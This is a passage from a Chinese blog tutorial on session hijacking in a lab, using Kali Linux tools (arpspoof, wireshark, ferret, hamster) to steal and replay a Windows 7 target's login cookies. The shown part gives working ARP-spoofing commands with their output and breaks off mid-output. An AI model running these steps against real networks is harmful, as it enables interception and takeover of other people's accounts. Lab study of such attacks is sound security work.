会话劫持一—劫持Cookie重放流量

最新推荐文章于 2022-10-26 19:21:02 发布

afei00123

最新推荐文章于 2022-10-26 19:21:02 发布

阅读量514

点赞数

分类专栏：网络安全&云安全

本文链接：https://blog.csdn.net/qq_41490561/article/details/104363694

版权

网络安全&云安全专栏收录该内容

166 篇文章 244 订阅 ¥99.90 ¥299.90

订阅专栏

超级会员免费看

本文介绍了如何在Kali Linux中利用arpspoof、wireshark、ferret和hamster工具进行会话劫持。通过ARP欺骗、抓包、数据包重放，实现了对靶机登录贴吧流量的劫持和重放，详细步骤包括设置攻击机和靶机环境、安装所需工具及操作流程。

摘要由CSDN通过智能技术生成

实验环境

攻击机kali IP：192.168.3.147
靶机win 7 IP：192.168.3.128

工具

arpspoof 进行arp欺骗
wireshark 抓包
ferret 重新生成抓包后的文件
hamster 劫持重放流量

1.首先使用arpspoof进行arp欺骗

root@afei:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@afei:~# cat /proc/sys/net/ipv4/ip_forward
1
root@afei:~# arpspoof -i eth1 -t 192.168.3.128 192.168.3.2
0:c:29:fa:a7:a3 0:c:29:3c:60:ad 0806 42: arp reply 192.168.3.2 is-at 0:c:29:fa:a7:a3
0:c:29:fa:a7:a3 0:c:29:3c:60:ad 0806 42: arp re